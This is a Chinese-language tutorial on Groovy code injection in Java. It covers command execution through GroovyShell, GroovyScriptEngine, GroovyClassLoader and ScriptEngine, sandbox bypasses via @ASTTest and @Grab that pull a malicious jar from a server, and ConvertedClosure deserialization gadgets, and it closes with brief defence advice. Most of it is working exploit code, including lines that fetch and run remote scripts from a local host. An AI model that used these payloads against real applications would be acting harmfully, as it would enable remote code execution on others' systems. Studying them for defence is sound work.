Java安全-Groovy
字数 1337 2025-08-24 23:51:18
Groovy代码注入与安全研究
1. Groovy简介
Groovy是Apache旗下的一种基于JVM的面向对象编程语言,具有以下特点:
- 既可以用于面向对象编程,也可以用作纯粹的脚本语言
- 吸纳了Python、Ruby和Smalltalk语言的优秀特性
- 支持动态类型转换、闭包和元编程
- 与Java可以很好的互相调用并结合编程
- 语法比Java更加灵活和简洁
主要特性:
- 同时支持静态和动态类型
- 支持运算符重载
- 本地语法列表和关联数组
- 对正则表达式的本地支持
- 各种标记语言(如XML和HTML)原生支持
- 可以使用现有的Java库
- 扩展了java.lang.Object
2. Groovy代码执行方式
2.1 基本命令执行
Groovy可以直接执行Java代码,也可以使用自己的语法:
// Java方式
Runtime.getRuntime().exec("calc")
// Groovy方式
"whoami".execute()
// 带回显的执行
println "whoami".execute().text
// 支持字符串插值
"${"whoami".execute().text}"
2.2 MethodClosure
MethodClosure是一个方法闭包,可以用来代替对象的某个方法:
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy1 {
public static void main(String[] args) throws Exception {
// 调用Runtime的exec方法
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");
// 调用String的execute方法
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();
}
}
2.3 GroovyShell
GroovyShell类主要提供三种方法执行Groovy代码:
- evaluate
- run
- parse
示例代码:
import groovy.lang.GroovyCodeSource;
import groovy.lang.GroovyShell;
import java.io.File;
import java.net.URI;
public class Groovy1 {
public static void main(String[] args) throws Exception {
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
// 从字符串执行
System.out.println(groovyShell.evaluate(cmd));
// 从文件执行
File file = new File("src/main/java/com/groovy/TestGroovyScipt.groovy");
System.out.println(groovyShell.evaluate(file));
// 从URL执行
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
System.out.println(groovyShell.evaluate(uri));
// 通过GroovyCodeSource执行
GroovyCodeSource groovyCodeSource = new GroovyCodeSource(cmd, "", "");
GroovyCodeSource groovyCodeSource1 = new GroovyCodeSource(uri);
System.out.println(groovyShell.evaluate(groovyCodeSource1));
}
}
2.4 GroovyScriptEngine
GroovyScriptEngine可以从指定位置(文件夹、URL或Resource)获取脚本来执行:
import groovy.util.GroovyScriptEngine;
public class Groovy1 {
public static void main(String[] args) throws Exception {
// 从本地目录执行
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
scriptEngine.run("TestGroovyScipt.groovy","");
// 从URL执行
GroovyScriptEngine scriptEngine1 = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine1.run("exp.groovy", "");
}
}
2.5 GroovyScriptEvaluator
GroovyScriptEvaluator的evaluate方法可以执行Groovy代码:
import org.springframework.core.io.FileSystemResource;
import org.springframework.scripting.ScriptSource;
import org.springframework.scripting.groovy.GroovyScriptEvaluator;
import org.springframework.scripting.support.ResourceScriptSource;
import org.springframework.scripting.support.StaticScriptSource;
public class Groovy1 {
public static void main(String[] args) throws Exception {
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
// 从字符串执行
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
// 从文件执行
FileSystemResource fileSystemResource = new FileSystemResource("src/main/java/com/groovy/TestGroovyScipt.groovy");
ScriptSource source = new ResourceScriptSource(fileSystemResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
// 从URL执行
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
}
}
2.6 GroovyClassLoader
GroovyClassLoader用于在Java中加载Groovy类并调用:
import groovy.lang.GroovyClassLoader;
import groovy.lang.GroovyObject;
public class Groovy1 {
public static void main(String[] args) throws Exception {
// 从URL加载类
GroovyClassLoader classLoader = new GroovyClassLoader(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8888/")}));
Class clazz = classLoader.loadClass("exp");
// 从文件解析类
GroovyClassLoader classLoader = new GroovyClassLoader();
Class clazz = classLoader.parseClass(new File("src/main/java/com/groovy/Test.groovy"));
// 从字符串解析类
Class clazz = classLoader.parseClass(
"class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell()\n" +
" String cmd = \"\\\"whoami\\\".execute().text\"\n" +
" println(groovyShell.evaluate(cmd).toString())\n" +
" }\n" +
"}\n"
);
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main", "");
}
}
2.7 ScriptEngine
使用javax.script.ScriptEngine执行Groovy脚本:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class Groovy1 {
public static void main(String[] args) throws Exception {
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
}
}
3. 沙箱绕过技术
3.1 @AST注解执行断言
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')
3.2 @Grab注解添加恶意依赖
需要添加ivy依赖:
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
利用代码:
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name = "PoC", root = "http://127.0.0.1:8888/")
@Grab(group = "PoC", module = "EvilJar", version = "0.1")
import PoC
''');
工作机制:
- 会从服务器的PoC/EvilJar/0.1/目录下载EvilJar-0.1.jar文件
- 默认存储在~/.groovy/grapes目录下
- 导入的jar包会先经过两种处理:
- processCategroyMethods:用来注册扩展方法
- processOtherServices:用来发现并处理其他服务
4. Groovy反序列化
4.1 基本利用方式
Groovy中的闭包可以被序列化,MethodClosure的call方法可以用来执行命令。关键类:
org.codehaus.groovy.runtime.ConvertedClosure:通用适配器,用于将Java接口调用映射到给定的委托(闭包)- 继承关系:ConvertedClosure → ConversionHandler → InvocationHandler
利用代码:
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc, "get");
Map map = (Map) Proxy.newProxyInstance(
Groovy1.class.getClassLoader(),
new Class[]{Map.class},
convertedClosure
);
map.get("calc");
}
}
4.2 优先队列利用链
利用优先队列反序列化时会对元素进行比较的特性:
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
public class Groovy1 {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
ConvertedClosure convertedClosure = new ConvertedClosure(mc, "compareTo");
Comparable comparator = (Comparable) Proxy.newProxyInstance(
Groovy1.class.getClassLoader(),
new Class[]{Comparable.class},
convertedClosure
);
comparator.compareTo("calc");
}
}
4.3 无参数方法触发
代理无参数方法触发命令执行:
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.Proxy;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws Exception {
MethodClosure mc = new MethodClosure("calc", "execute");
ConvertedClosure convertedClosure = new ConvertedClosure(mc, "entrySet");
Map map = (Map) Proxy.newProxyInstance(
Groovy1.class.getClassLoader(),
new Class[]{Map.class},
convertedClosure
);
map.entrySet();
}
}
5. 防御建议
- 避免直接执行用户输入的Groovy代码
- 使用Groovy沙箱限制脚本执行权限
- 对反序列化操作进行严格控制
- 及时更新Groovy和相关依赖库到最新版本
- 对网络请求进行严格过滤,防止加载远程恶意脚本